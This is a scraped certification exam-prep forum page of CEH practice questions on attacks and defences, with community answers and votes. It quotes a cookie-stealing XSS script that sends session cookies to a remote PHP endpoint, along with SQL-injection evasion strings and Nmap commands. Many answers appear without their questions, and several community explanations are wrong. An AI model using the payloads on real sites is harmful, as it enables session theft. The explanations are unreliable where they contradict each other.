- A. Cloud cryptojacking: Unauthorized mining of cryptocurrencies using cloud resources.
- B. Man-in-the-cloud (MITC) attack: Unauthorized access and manipulation of cloud storage.
- C. Cloud hopper attack: Targeting cloud service providers to access multiple client networks.
- D. Cloudborne attack: Exploiting cloud infrastructure vulnerabilities to compromise data or resources.

upvoted 5 times

remrey Most Recent 11 months, 2 weeks ago

In the scenario you described, Alice performed a Man-in-the-cloud (MITC) attack. This type of attack involves compromising cloud services by gaining unauthorized access to user accounts and manipulating data stored in the cloud. Alice's actions of infiltrating the MSP provider, compromising user accounts, and using the cloud service to access and manipulate customer data align with the characteristics of a MITC attack.

Cloud cryptojacking, on the other hand, involves using cloud resources to mine cryptocurrency without the owner's consent, which is not what Alice did in this scenario.

Judy created a forum. One day, she discovers that a user is posting strange images without writing comments. She immediately calls a security expert, who discovers that the following code is hidden behind those images:

```
<script>
document.write('<img.src="https://localhost/submitcookie.php? cookie =' + escape
(document.cookie) +"' />');
</script>
```

What issue occurred for the users who clicked on the image?

- A. This php file silently executes the code and grabs the user's session cookie and session ID.
- B. The code redirects the user to another site.
- C. The code injects a new cookie to the browser.
- D. The code is a virus that is attempting to gather the user's username and password.

Suggested Answer: A

Community vote distribution

A (100%)

  **g_man_rap** Highly Voted 8 months ago

document.write: This JavaScript function writes a string of text to the document as HTML.

: This HTML tag defines an image element. The src attribute normally points to the URL of the image to display.

"https://localhost/submitcookie.php?cookie=": This part of the src attribute is setting the path to a PHP file on the server running on localhost. The query string ?cookie= is used to pass data to the PHP file via a GET request.

+ escape(document.cookie): This JavaScript code appends the current document's cookies to the URL as part of the query string. The escape function is used to encode the cookies so that special characters are converted to a URL-encoded notation. This is necessary because cookies can contain characters that are not valid in URLs.

upvoted 5 times

  **insaniunt** Most Recent 1 year ago

Selected Answer: A

A. This php file silently executes the code and grabs the user's session cookie and session ID.

This script is used to steal cookies. It writes an image element into the HTML document, but the "src" attribute of the image is set to a malicious URL that includes the victim's cookies as part of the URL. When this URL is requested to load the image, it sends cookies to a server controlled by an attacker.

upvoted 1 times

Selected Answer: D

Time-based SQL Injection: This technique involves causing the database to delay its response, allowing the attacker to infer information based on the response time. By injecting malicious SQL code that includes time-delay functions (such as WAITFOR DELAY in Microsoft SQL Server or SLEEP() in MySQL), the attacker can observe whether the web application's response time changes, indicating a successful injection.

Union-based SQL Injection: This technique involves exploiting a vulnerability in the SQL query to manipulate the structure of the query and retrieve data from other database tables. The attacker uses the UNION SQL operator to combine the results of their malicious query with the original query, extracting data from different tables and columns. The attacker can use boolean conditions to test whether certain conditions are true or false.

Selected Answer: D

D. Time-based and boolean-based

upvoted 3 times

🗲️ 👤 **eli117** 1 year, 8 months ago

Selected Answer: A

A. Out of band and boolean-based.

Out of band SQL injection involves using an out-of-band (OOB) channel to communicate with the attacker's system. The attacker typically uses this method when the vulnerable application is unable to retrieve data from the database and display it on the web page. The OOB channel can be used to retrieve the data from the database and send it to the attacker's system.

Boolean-based SQL injection involves using true or false conditions to infer information about the database. This method involves injecting SQL statements that force the database to return a true or false response, depending on whether the statement is correct or not. By analyzing the response, an attacker can determine whether the injected SQL statement was executed or not.

Selected Answer: B

B. Server-side request forgery (SSRF) attack

Like : 312-50v11 Q11

Book CEH V12 : Module14 P1948

SSRF vulnerabilities evolve in the following manner. Generally, server-side requests are initiated to obtain information from an external resource and feed it into an application. For instance, a designer can utilize a URL such as `https://xyz.com/feed.php?url=externalsite.com/feed/to` to obtain a remote feed. If attackers can alter the URL input to the localhost, then they can view all the local resources on the server.

upvoted 4 times

🗳️ 👤 **eli117** 1 year, 8 months ago

Selected Answer: B

B. Server-side request forgery (SSRF) attack

Explanation:

In the given scenario, Jason performed a Server-side request forgery (SSRF) attack to gain access to backend servers that were protected by a firewall. In an SSRF attack, the attacker sends a request to a web server with a manipulated URL input that points to an external system controlled by the attacker. The web server processes the request, and the attacker can use this to access resources on the server that are not intended to be accessible.

In this case, the attacker used the URL input to obtain a remote feed and then manipulated the input to point to the local host, which allowed the attacker to view all local resources on the target server. By exploiting this vulnerability, the attacker could potentially gain access to sensitive information or even take control of the server.

George is a security professional working for iTech Solutions. He was tasked with securely transferring sensitive data of the organization between industrial systems. In this process, he used a short-range communication protocol based on the IEEE 203.15.4 standard. This protocol is used in devices that transfer data infrequently at a low rate in a restricted area, within a range of 10-100 m.

What is the short-range wireless communication technology George employed in the above scenario?

- A. LPWAN
- B. MQTT
- C. NB-IoT
- D. Zigbee

Suggested Answer: D

Community vote distribution

D (100%)

  **eli117**  1 year, 8 months ago

Selected Answer: D

D. Zigbee

Explanation: George employed a short-range communication protocol based on the IEEE 203.15.4 standard, which is used in devices that transfer data infrequently at a low rate in a restricted area, within a range of 10-100 m. Zigbee is a wireless communication technology that is designed for low-power, low-data-rate applications, and it operates on the IEEE 203.15.4 standard. Zigbee uses mesh networking, which means that each device in the network can act as a repeater to extend the network's range. This makes Zigbee an ideal technology for industrial systems that require secure and reliable communication over short distances.

upvoted 5 times

  **g_man_rap**  8 months ago

A. LPWAN: Low Power Wide Area Network (LPWAN) is designed for long-range communications at a low bit rate. It is not based on IEEE 802.15.4, so this option does not match the scenario.

B. MQTT: MQTT stands for Message Queuing Telemetry Transport. It is a messaging protocol often used for the Internet of Things (IoT). It is not a wireless communication technology itself, but rather a protocol that can be used on top of various communication systems.

C. NB-IoT: Narrowband IoT (NB-IoT) is a standards-based low power wide area (LPWA) technology developed to enable a wide range of new IoT devices and services. NB-IoT is not based on IEEE 802.15.4; it uses a different standard.

D. Zigbee: Zigbee is a specification for a suite of high-level communication protocols using small, low-power digital radios based on the IEEE 802.15.4 standard for wireless personal area networks. Zigbee is typically used in low data rate applications that require long battery life and secure networking.

B. Zero trust network
upvoted 4 times

🗲️ 👤 **eli117** 1 year, 8 months ago

Selected Answer: B

A zero trust network is a security model that assumes that every user, device, and application attempting to access the network is a potential threat, regardless of whether they are inside or outside the network perimeter. It verifies every incoming connection before allowing access to the network and imposes strict conditions such as least privilege access, microsegmentation, and continuous monitoring.

In the given scenario, Eric implemented a technique for securing the cloud resources used by his organization that assumes by default that a user attempting to access the network is not an authentic entity and verifies every incoming connection before allowing access to the network. He also imposed conditions such that employees can access only the resources required for their role. This is a typical example of the zero trust security model, which is designed to prevent unauthorized access to network resources and protect against potential security breaches.

You are a penetration tester tasked with testing the wireless network of your client Brakeme SA. You are attempting to break into the wireless network with the SSID "Brakeme-Internal." You realize that this network uses WPA3 encryption. Which of the following vulnerabilities is the promising to exploit?

- A. Cross-site request forgery
- B. Dragonblood
- C. Key reinstallation attack
- D. AP misconfiguration

Suggested Answer: B

Community vote distribution

g_man_rap 8 months ago

A. Cross-site request forgery (CSRF): This is a web security vulnerability that allows an attacker to induce users to perform actions that they do not intend to perform. It targets web applications and is not related to breaking wireless encryption.

B. Dragonblood: This is a vulnerability that was found in the WPA3 Wi-Fi security standard. It consists of a set of issues that affect WPA3's Simultaneous Authentication of Equals (SAE) handshake (also known as Dragonfly), which is a part of the protocol meant to improve upon the security of WPA2.

C. Key reinstallation attack (KRACK): This refers to a security flaw in the WPA2 protocol that allows attackers to intercept and decrypt Wi-Fi traffic between wireless devices and the targeted Wi-Fi network. This would not be relevant to WPA3, which is designed to mitigate such vulnerabilities that were present in WPA2.

D. AP misconfiguration: This refers to improper setup or configuration errors made on wireless access points. While this could potentially include errors in implementing WPA3, AP misconfiguration is a broad term that doesn't specifically target WPA3's encryption.

B- Dragonblood is a set of vulnerabilities in the WPA3 security standard that allows attackers to recover keys, downgrade security mechanisms, and launch various information-theft attacks
Attackers can use various tools, such as Dragonslayer, Dragonforce, Dragondrain, and Dragontime, to exploit these vulnerabilities and launch attacks

on WPA3-enabled networks.

CEH v11 manual. pg. 2322

upvoted 4 times

  **eli117** 1 year, 8 months ago

Selected Answer: C

C. Key reinstallation attack

WPA3 is the latest encryption protocol for wireless networks and is considered more secure than its predecessor, WPA2. However, WPA3 is still susceptible to the Key Reinstallation Attack (KRACK), which is a vulnerability that allows attackers to intercept and manipulate network traffic.

In a KRACK attack, an attacker exploits a flaw in the WPA3 protocol that allows them to reinstall an already-in-use key. This can enable the attacker to decrypt, replay, or manipulate network traffic, which can compromise the security of the network.

A DDoS attack is performed at layer 7 to take down web infrastructure. Partial HTTP requests are sent to the web infrastructure or applications. Upon receiving a partial request, the target servers opens multiple connections and keeps waiting for the requests to complete. Which attack is being described here?

- A. Desynchronization
- B. Slowloris attack
- C. Session splicing
- D. Phlashing

Suggested Answer: B

Community vote distribution

B (100%)

🗳️ 👤 **insaniunt** 1 year ago

Selected Answer: B

B. Slowloris attack

This is a type of DDoS attack that targets the application layer of the OSI model, where common internet requests occur, such as HTTP GET and HTTP POST. This attack works by sending partial, but not complete, HTTP requests to the target server, and keeping many simultaneous connections open between the attacker and the target.

upvoted 1 times

🗳️ 👤 **Vincent_Lu** 1 year, 6 months ago

B. Slowloris attack

A. Desynchronization: disrupts the synchronization between different components a system, so exploits the vulnerabilities that related to the synchronization of data or processes.

B. Slowloris attack: a type of denial-of-service (DoS) attack to web server. The attacker sends incomplete HTTP requests to the web server, keeping connections open to consume and exhaust resources to make web server unavailable.

C. Session splicing: attacker intercepts and combines parts of different sessions to gain unauthorized access or perform malicious actions. This attack typically targets web-based sessions, allowing the attacker to bypass authentication or gain access to sensitive information.

D. Phlashing: attack IOT devices to break its firmware or hardware to permanently disable a device or system.

upvoted 2 times

🗳️ 👤 **jeremy13** 1 year, 8 months ago

Selected Answer: B

B. Slowloris attack

312-50v11 Q187

CEH book Module 10 P1452

Slowloris is a DDoS attack tool used to perform layer-7 DDoS attacks to take down web infrastructure. It is distinctly different from other tools in that it uses perfectly legitimate HTTP traffic to take down a target server. In Slowloris attacks, the attacker sends partial HTTP requests to the target web server or application. Upon receiving the partial requests, the target server opens multiple connections and waits for the requests to complete

upvoted 3 times

🗳️ 👤 **eli117** 1 year, 8 months ago

Selected Answer: B

B. Slowloris attack.

Explanation: In a Slowloris attack, the attacker sends partial HTTP requests to the web infrastructure or applications. Upon receiving a partial request, the target server opens multiple connections and keeps waiting for the requests to complete. The attacker then sends a slow stream of subsequent requests that are never completed, which leads to resource exhaustion on the server, eventually causing it to crash or become unavailable. This attack is performed at layer 7 to take down web infrastructure.

upvoted 3 times

Andrew is an Ethical Hacker who was assigned the task of discovering all the active devices hidden by a restrictive firewall in the IPv4 range in a given target network.

Which of the following host discovery techniques must he use to perform the given task?

- A. UDP scan
- B. ARP ping scan
- C. ACK flag probe scan
- D. TCP Maimon scan

Suggested Answer: C

Community vote distribution

B (100%)

🗳️ **jeremy13** Highly Voted 1 year, 8 months ago

Selected Answer: B

B. ARP ping scan

Like 312-50 V11 Q160

CEH book V12 Module 03 P285

In the ARP ping scan, the ARP packets are sent for discovering all active devices in the IPv4 range even though the presence of such devices is hidden by restrictive firewalls.

upvoted 6 times

🗳️ **KalingaDev** Most Recent 6 months, 2 weeks ago

Selected Answer: C

Since the question doesn't specify that the devices are on the local subnet, C. ACK Flag Probe Scan is a safer answer for discovering devices hidden by a restrictive firewall.

🗳️ **woohoolou** 1 year, 4 months ago

Selected Answer: B

An ACK scan will let you know there is a stateful firewall in-line but will not give you details on the devices behind it.

upvoted 1 times

🗳️ **Vincent_Lu** 1 year, 6 months ago

B. ARP ping scan

A. UDP scan: Network scan using UDP packets to check port status on a target system.

B. ARP ping scan: Scan method using ARP requests to discover IP and MAC addresses in a local network.

C. ACK flag probe scan: TCP port scan using ACK flag to determine port status.

D. TCP Maimon scan: Port scan using specific flag combinations(Maimon Techniques), including SYN and FIN to determine port status.

upvoted 3 times

🗨️ 👤 **victorfs** 1 year, 7 months ago

The correct option is B.

B. ARP ping scan

upvoted 1 times

🗨️ 👤 **eli117** 1 year, 8 months ago

Selected Answer: B

Answer: B

Explanation: To discover all the active devices hidden by a restrictive firewall in the IPv4 range, Andrew should use an ARP ping scan technique. ARP ping scan is an efficient and effective technique that enables a host to discover all the active hosts on the network, especially when it is difficult to identify devices using the traditional methods such as ICMP ping. ARP requests are used to check the existence of each device with a specific IP address within the network, and the devices with the corresponding MAC addresses reply with an ARP response. Therefore, by sending ARP requests to each IP address in a range, Andrew can identify all active devices within the network.

Selected Answer: C

Answer: C. Tier-3: Registries

Explanation:

The five-tier container technology architecture is as follows:

Tier-1: Developer machines: In this tier, developers build container images by including all the application dependencies and resources that are required to run the application.

Tier-2: Testing and accreditation systems: This tier is used to test the container images and ensure that they are free from vulnerabilities, errors, and other issues. This tier is also used for the approval of container images before they are sent to the registry.

Tier-3: Registries: This tier is used to store container images. These images can be shared across different environments and can be deployed to any cloud infrastructure.

Tier-4: Orchestrators: In this tier, container images are managed, scheduled, and deployed on cloud infrastructure.

Tier-5: Runtime: This tier is responsible for running the containers in the production environment.

Windows = 128

<https://ostechnix.com/identify-operating-system-ttl-ping/>

upvoted 3 times

🗨️ 👤 **eli117** 1 year, 8 months ago

Selected Answer: B

B. 255

Explanation:

The TTL (Time to Live) value represents the maximum number of hops (routers) that a packet can take before being discarded or deemed expired. Each router that the packet traverses decrements the TTL value by one. In Unicornscan, a TTL value of 255 indicates that the target host is running a Windows OS, while a value of 64 indicates a Linux/Unix OS. A value of 128 is often associated with network infrastructure devices such as routers and switches, while a value of 138 may indicate a NetBIOS session (a Windows protocol).

C. Variation

Like 312-50v11 Q190

CEH BOOK V12 Module 15 P2336

Evasion Technique: Variation Variation is an evasion technique whereby the attacker can easily evade any comparison statement. The attacker does this by placing characters such as "" or '1'='1' in any basic injection statement such as "or 1=1" or with other accepted SQL comments. The SQL interprets this as a comparison between two strings or characters instead of two numeric values.

upvoted 6 times

  **insaniunt** Most Recent 1 year ago

Selected Answer: C

C. Variation

Variation: An attacker uses this technique to easily evade any comparison statement

upvoted 1 times

  **eli117** 1 year, 8 months ago

Selected Answer: C

Answer: C. Variation

Explanation:

In the given scenario, Daniel is attempting to evade the IDS that detects SQL injection attempts based on predefined signatures. To bypass the detection mechanism, he used the variation technique. The variation technique is a method of altering the injection code so that it cannot be detected by an IDS. In this technique, an attacker alters the injection code, for example, by changing the case of letters or by adding extra characters or spaces to the code, to bypass the signature-based detection. By using the variation technique, the attacker can bypass the signature-based detection mechanisms, and the malicious code is executed on the targeted system.

C. Out-of-band SQLi

upvoted 1 times

🗳️ 👤 **eli117** 1 year, 8 months ago

Selected Answer: C

C. Out-of-band SQLi.

Out-of-band SQL injection is an advanced form of SQL injection that is not reliant on the same channel as the application. In this technique, the attacker uses a different channel, such as an email, to send the data to an external server that is under their control. An example of this technique is exploiting a SQL vulnerability that allows an attacker to make DNS requests from the victim's server to an external server under the attacker's control, allowing them to pass data to the attacker.

You pivot from "web infrastructure" to "targeted network" in your 2 posts.

The answer is A: Wireless network assessment.

upvoted 2 times

🗨️ 👤 **kunnu** 1 year, 3 months ago

Answer is A - Wireless Network Assessment, CEH v12 book page 555/2113
upvoted 2 times

🗨️ 👤 **SailOn** 1 year, 3 months ago

this is a tricky question as the clue to the answer lies in the 'turned off the target network', meaning the auditor know it's a wireless attack, and so would choose to do a wireless network assessment. It is not application assessment as in the CEH course book, it is specifically defined at assessment on web infrastructure. It could be host-based due to the mention of outdated security mechanisms. But due to the fact the auditor knows it's a wireless attack, A would be the best answer

You are using a public Wi-Fi network inside a coffee shop. Before surfing the web, you use your VPN to prevent intruders from sniffing your traffic. If you did not have a VPN, how would you identify whether someone is performing an ARP spoofing attack on your laptop?

- A. You should check your ARP table and see if there is one IP address with two different MAC addresses.
- B. You should scan the network using Nmap to check the MAC addresses of all the hosts and look for duplicates.
- C. You should use netstat to check for any suspicious connections with another IP address within the LAN.
- D. You cannot identify such an attack and must use a VPN to protect your traffic.

Suggested Answer: B

Community vote distribution

A (82%)

B (18%)

 **eli117** Highly Voted 1 year, 8 months ago

Selected Answer: A

A. You should check your ARP table and see if there is one IP address with two different MAC addresses.

ARP spoofing is a type of attack where an attacker sends fake ARP (Address Resolution Protocol) messages to associate their MAC address with the IP address of another host on the network. This allows the attacker to intercept and modify traffic intended for the victim. By checking the ARP table on your laptop, you can see if there is any IP address with two different MAC addresses, which would indicate an ARP spoofing attack is in progress.

upvoted 8 times

 **0ea2cf3** Most Recent 8 months, 3 weeks ago

A: I saw this question somewhere else and the answer was "check ARP table".

upvoted 1 times

 **insaniunt** 1 year ago

Selected Answer: A

A. You should check your ARP table and see if there is one IP address with two different MAC addresses

ARP spoofing is a method of attacking an Ethernet LAN. It succeeds by changing the IP address of the attacker's computer to that of the target computer. A forged ARP request and reply packet can find a place in the target ARP cache in this process. As the ARP reply has been forged, the destination computer (target) sends frames to the attacker's computer, where the attacker can modify the frames before sending them to the source machine (User A) in an MITM attack. -- Module 08, page 1258

upvoted 1 times

 **YourFriendlyNeighborhoodSpider** 1 year, 1 month ago

Selected Answer: A

ChatGPT:

Answer: A. You should check your ARP table and see if there is one IP address with two different MAC addresses.

Explanation:

ARP spoofing (or ARP poisoning) involves manipulating the ARP (Address Resolution Protocol) cache of a target device to associate its IP address with a different MAC address. This can be used for various malicious purposes, including intercepting network traffic.

Checking the ARP table on your device is a common method to detect ARP spoofing. If there is an entry in the ARP table with the same IP address but different MAC addresses, it could indicate an ARP spoofing attack.

The other options (B, C, D) do not specifically address ARP spoofing detection:

Option B: Nmap can identify hosts on a network but may not directly detect ARP spoofing.

upvoted 1 times

 **VidiMidi** 1 year, 1 month ago

Selected Answer: A

arp -a

This will give you the ARP table

The table shows the IP addresses in the left column, and MAC addresses in the middle. If the table contains two different IP addresses that share the same MAC address, then you are probably undergoing an ARP poisoning attack.

As an example, let's say that your ARP table contains a number of different addresses. When you scan through it, you may notice that two of the IP addresses have the same physical address. You might see something like this in your ARP table if you are actually being poisoned:

Internet Address	Physical Address
------------------	------------------

192.168.0.1	00-17-31-dc-39-ab
-------------	-------------------

192.168.0.105	40-d4-48-cr-29-b2
---------------	-------------------

192.168.0.106	00-17-31-dc-39-ab
---------------	-------------------

As you can see, both the first and the third MAC addresses match. This indicates that that the owner of the 192.168.0.106 IP address is most likely the attacker.

upvoted 1 times

🗨️ 👤 **Himox** 1 year, 4 months ago

Techno Security Inc. recently hired John as a penetration tester. He was tasked with identifying open ports in the target network and determining whether the ports are online and any firewall rule sets are encountered.

John decided to perform a TCP SYN ping scan on the target network.

Which of the following Nmap commands must John use to perform the TCP SYN ping scan?

- A. `nmap -sn -PO < target IP address >`
- B. `nmap -sn -PS < target IP address >`
- C. `nmap -sn -PA < target IP address >`
- D. `nmap -sn -PP < target IP address >`

Suggested Answer: B

Community vote distribution

B (100%)

  **eli117** Highly Voted 1 year, 8 months ago

Selected Answer: B

B. `nmap -sn -PS < target IP address >`

Explanation:

In a TCP SYN ping scan, Nmap sends a TCP SYN packet to the target port, expecting a SYN-ACK or RST response from an open port. If the response is RST, it means the port is closed. If there is no response, the port may be either open or filtered. This method is used to detect whether a port is open or closed.

The `-sn` option in Nmap is used for host discovery, and it disables port scanning. The `-PS` option is used to specify a TCP SYN ping scan, while the `-PA` and `-PP` options are used for TCP ACK and ICMP ping scans, respectively.

Therefore, the correct command for a TCP SYN ping scan in Nmap is:

`nmap -sn -PS < target IP address >`

B. `nmap -sn -PS < target IP address >`

upvoted 1 times

Ricardo has discovered the username for an application in his target's environment. As he has a limited amount of time, he decides to attempt to use a list of common passwords he found on the Internet. He compiles them into a list and then feeds that list as an argument into his password-cracking application.

What type of attack is Ricardo performing?

- A. Brute force
- B. Known plaintext
- C. Dictionary
- D. Password spraying

D. Performing content enumeration using a wordlist
upvoted 1 times

🗳️ 👤 **insaniunt** 1 year, 6 months ago

Selected Answer: D

D. Performing content enumeration using a wordlist
Using a wordlist allows you to provide a list of potential directory and file names for Gobuster to check on the web server. This method is efficient and targeted, as it focuses on known paths rather than attempting to bruteforce or randomly guess filenames. It's generally faster and more effective than bruteforcing or using random file extensions.

🗳️ 👤 **victorfs** 2 years, 1 month ago

Selected Answer: D

D. Performing content enumeration using a wordlist
upvoted 1 times

🗳️ 👤 **eli117** 2 years, 2 months ago

Selected Answer: D

D. Performing content enumeration using a wordlist is the fastest way to perform content enumeration on a given web server using the Gobuster tool. This is because a wordlist includes common paths, directories, and files that are likely to exist on the web server, and it is a pre-built list, so there is no need to generate a list on the fly. This approach avoids the overhead of trying to brute force filenames or extensions and reduces the time it takes to discover content.

D. False Positive

Not an attack/intrusion

upvoted 5 times

🗳️ **insaniunt** Most Recent 1 year ago

Selected Answer: D

D. False positive

upvoted 1 times

🗳️ **[Removed]** 1 year ago

Selected Answer: D

This is a poorly worded question. The best answer is a Benign Positive, since the alert is doing a true detection, but the activity isn't malicious.

Unfortunately EC-Council does not list "Benign Positive" as one of the answers on the pick list. According to NIST SP 800-86 pages 6-13 and C-1, a benign positive is a type of false positive. See also https://csrc.nist.gov/glossary/term/false_positive. So the best answer of the ones listed is D.

False positive.

upvoted 2 times

🗳️ **EnidV** 1 year, 4 months ago

Selected Answer: D

False Positive (No attack - Alert). The IDS is doing its job correctly but there is no attack in this case because it was the administrator's legitimate action that triggered the alert.

Garry is a network administrator in an organization. He uses SNMP to manage networked devices from a remote location. To manage nodes in the network, he uses MIB, which contains formal descriptions of all network objects managed by SNMP. He accesses the contents of MIB by using a web browser either by entering the IP address and Lseries.mib or by entering the DNS library name and Lseries.mib. He is currently retrieving information from an MIB that contains object types for workstations and server services.

Which of the following types of MIB is accessed by Garry in the above scenario?

- A. LNMIB2.MIB
- B. DHCP.MIB
- C. MIB_II.MIB
- D. WINS.MIB

D. Bryan's public key; Alice's public key

Explanation:

Alice needs to send a confidential document to Bryan, and their company has public key infrastructure set up. In this scenario, Alice needs to encrypt the message using Bryan's public key, which ensures only Bryan can decrypt it using his private key. To ensure the authenticity of the message, Alice must digitally sign it using her private key, which can be verified by anyone who has access to Alice's public key, including Bryan. Therefore, Bryan uses Alice's public key to confirm the digital signature.

like Q198 V11
upvoted 1 times

🗳️ 👤 **eli117** 1 year, 8 months ago

Selected Answer: A

A. Matt inadvertently provided the answers to his security questions when responding to the post.

Explanation:

It is common for online accounts, such as those for banking or social media, to require users to answer security questions to verify their identity when logging in or resetting their password. These security questions are meant to be private and known only to the account owner. In this scenario, Matt responded to personal questions posted on Facebook, which may have been used to gain access to his account by guessing the answers to his security questions. It is important to be cautious when providing personal information online and to only do so through secure channels.

Selected Answer: A

Incident triage involves initial investigation and analysis of the incident to determine its severity, scope, and potential impact. In this phase, the incident response team identifies the type of incident, the systems affected, and the potential damage. Once the incident is triaged, it is assigned to an appropriate team or individual for further investigation and response.

Selected Answer: B

Answer: B

Explanation: The cyber kill chain theory model is a seven-step model that describes the stages of a cyberattack. The seven steps are: reconnaissance, weaponization, delivery, exploitation, installation, command and control, and actions on objectives. Data exfiltration occurs during the sixth stage, which is actions on objectives. This stage involves the attacker taking the desired action, which can include data theft or destruction. The attacker may also attempt to cover their tracks to avoid detection.

Johnson, an attacker, performed online research for the contact details of reputed cybersecurity firms. He found the contact number of sibertech.org and dialed the number, claiming himself to represent a technical support team from a vendor. He warned that a specific server is about to be compromised and requested sibertech.org to follow the provided instructions. Consequently, he prompted the victim to execute unusual commands and install malicious files, which were then used to collect and pass critical information to Johnson's machine. What is the social engineering technique Steve employed in the above scenario?

- A. Diversion theft
- B. Quid pro quo
- C. Elicitation
- D. Phishing

Correct B: Quid pro quo
CEH Book v12 Page 1341
Attackers call numerous random numbers within a company, claiming to be from technical support.
They offer their service to end users in exchange for confidential data or login credentials
upvoted 8 times

 **Carl_Chang** Most Recent 7 months, 1 week ago

The social engineering technique employed by Johnson in the scenario you described is more aligned with **Quid pro quo**.

In this context, the attacker pretends to be from a legitimate source (a technical support team) and offers a service (warning about an impending server compromise) in exchange for the victim taking specific actions (executing unusual commands and installing malicious files). This technique often involves an exchange where the attacker provides a benefit or service to the victim, who in turn provides sensitive information or access.

While "Elicitation" refers to techniques used to gather information without the victim realizing it, in this case, the direct exchange and manipulation for a specific action suggest that Quid pro quo is a better fit.
upvoted 2 times

 **Binx** 10 months, 4 weeks ago

- B. Quid pro quo

In this scenario, Johnson pretends to be from a technical support team and warns the target about a supposed threat. He then instructs the target to execute certain commands and install malicious files, offering the supposed benefit of preventing a server compromise. This exchange of providing help in return for the execution of malicious instructions is characteristic of quid pro quo in social engineering.
upvoted 1 times

 **ameta** 1 year ago

Selected Answer: B

Quid Pro Quo Quid pro quo is a Latin phrase that meaning "something for something." In this technique, attackers keep calling random numbers within a company, claiming to be calling from technical support. This is a baiting technique where attackers offer their service to end-users in exchange of confidential data or login credentials.

Selected Answer: C

C. TCP Maimon scan

This scan sends FICK probes to the target ports and determines their status based on the response. If the port is open, no response is sent back. If the port is closed, an RST packet is sent back

upvoted 2 times

🗳️ 👤 **YourFriendlyNeighborhoodSpider** 1 year, 1 month ago

Selected Answer: C

IPconfig 2 weeks, 3 days ago

C

TCP Maimon scan

This scan technique is very similar to NULL, FIN, and Xmas scan, but the probe used here is FICK. In most cases, to determine if the port is open or closed, the RST packet should be generated as a response to a probe request. However, in many BSD systems, the port is open if the packet gets dropped in response to a probe.

ACK Flag Probe Scan

Attackers send TCP probe packets with the ACK flag set to a remote device and then analyze the header information (TTL and WINDOW field) of the received RST packets to find out if the port is open or closed.

Since the question says FICK probes not just ACK Flag probes the answer should be TCP Maimon scan

upvoted 3 times

C. TCP Maimon scan

upvoted 2 times

🗳️ 👤 **Vincent_Lu** 1 year, 6 months ago

Selected Answer: D

I choose D. ACK flag probe scan

but anyone truly knows the correct answer?

upvoted 1 times

🗳️ 👤 **Bal7a** 1 year, 6 months ago

D. ACK flag probe scan

In an ACK flag probe scan, the scanner sends TCP ACK packets to various ports on the target host. If the target host responds with an RST packet, it indicates that the port is closed. However, if there is no response or a different response is received, it suggests that the port is open or filtered.

The other scanning techniques mentioned are as follows:

A. Xmas scan: This scan involves sending packets with the FIN, URG, and PUSH flags set, probing the target host for open ports.

B. IDLE/IPID header scan: This scan examines the IP ID field in the packet header to determine if it increments predictably, indicating the presence of an open port.

C. TCP Maimon scan: This scan uses the TCP Maimon technique to send packets with different flag combinations to determine the state of the port.

Therefore, based on the given information, the correct answer is D. ACK flag probe scan.

<https://nmap.org/book/scan-methods-maimon-scan.html>

upvoted 3 times

🗨️ 👤 **mnemgig** 1 year, 4 months ago

From NMAP:

The Maimon scan is named after its discoverer, Uriel Maimon. He described the technique in Phrack Magazine issue #49 (November 1996).

Nmap, which included this technique, was released two issues later. This technique is exactly the same as NULL, FIN, and Xmas scan, except that the probe is FICK. According to RFC 793 (TCP), a RST packet should be generated in response to such a probe whether the port is open or closed. However, Uriel noticed that many BSD-derived systems simply drop the packet if the port is open.

upvoted 2 times

🗨️ 👤 **eli117** 1 year, 8 months ago

Selected Answer: D

In an ACK flag probe scan, the scanner sends an ACK packet to a port on the target host. If the port is open, the target host will respond with an RST packet, indicating that it received the ACK packet but did not know how to handle it. If the port is closed, the target host will respond with an RST packet, indicating that it received the ACK packet but could not complete the connection. Xmas scan is a type of port scan that sends packets with the FIN, PSF, and URG flags set, while IDLE/IFID header scan and TCP Maimon scan are not commonly used port scanning techniques.

Selected Answer: D

D. Passive assessment, which involves monitoring network traffic and systems to identify vulnerabilities without actively engaging with the target systems. This approach is less intrusive and less likely to trigger alerts or alarms on the target network.

upvoted 2 times

Which of the following protocols can be used to secure an LDAP service against anonymous queries?

- A. NTLM
- B. RADIUS
- C. WPA
- D. SSO

Suggested Answer: C

Community vote distribution

A (80%)

B (20%)

  **[Removed]**  1 year, 6 months ago

Selected Answer: A

This is a poorly worded question with two correct answers, A. NTLM and B. RADIUS. If you are an Information Security purist, you will argue that B. RADIUS is superior to A. NTLM. But if you want to pass the exam you will select A. NTLM which is the official CEH answer per the CEH Book V12 Module 04. This was an exam question for me when I took the exam on 13 Dec 2023.

Selected Answer: A

A. NTLM

upvoted 1 times

  **Srininag19** 1 year, 7 months ago

Answer is Radius: B

NTLM is an outdated authentication protocol that is vulnerable to attack.

WPA is a wireless security protocol that is not designed to secure LDAP services.

SSO is a single sign-on protocol that can be used to authenticate users to LDAP, but it does not prevent anonymous queries.

Therefore, the best answer is B. RADIUS.

Jane invites her friends Alice and John over for a LAN party. Alice and John access Jane's wireless network without a password. However, Jane has a long, complex password on her router. What attack has likely occurred?

- A. Wardriving
- B. Wireless sniffing
- C. Evil twin
- D. Piggybacking

Suggested Answer: C

Community vote distribution

eli117 Highly Voted 2 years, 2 months ago

Selected Answer: D

D. Piggybacking, which is an unauthorized access to a wireless network where an attacker gains access to the network by connecting to a legitimate user's wireless network without permission. In this scenario, Alice and John were able to access Jane's wireless network without a password, indicating that they piggybacked on her network without her permission. Although Jane has a long and complex password on her router, her guests were still able to access her network without authorization. Wardriving is the act of driving around with a wireless-enabled device looking for wireless access points, wireless sniffing is the practice of intercepting and analyzing wireless network traffic, and Evil twin is a type of wireless network attack where an attacker creates a fake access point that impersonates a legitimate wireless network in order to capture sensitive information.

Which file is a rich target to discover the structure of a website during web-server footprinting?

- A. domain.txt
- B. Robots.txt
- C. Document root
- D. index.html

Suggested Answer: B

Community vote distribution

B (100%)

🗳️ 👤 **g_man_rap** 8 months ago

B. Robots.txt - This is a file used by web servers to communicate with web crawlers. The robots.txt file contains instructions on which parts of the server should not be accessed by the crawlers. It can provide a wealth of information about the structure of a website because it might list directories that are otherwise not linked or visible to a casual visitor. This can be accessed using a command like `curl http://example.com/robots.txt`.

D. index.html - This file typically serves as the landing page or home page of a website. While it's important and can contain hyperlinks to other parts of the website, it usually doesn't reveal the full structure of the website, unlike robots.txt, which may reveal directories not linked from the homepage.

upvoted 3 times

🗳️ 👤 **insaniunt** 1 year ago

Selected Answer: B

B. Robots.txt

upvoted 1 times

🗳️ 👤 **IPconfig** 1 year, 2 months ago

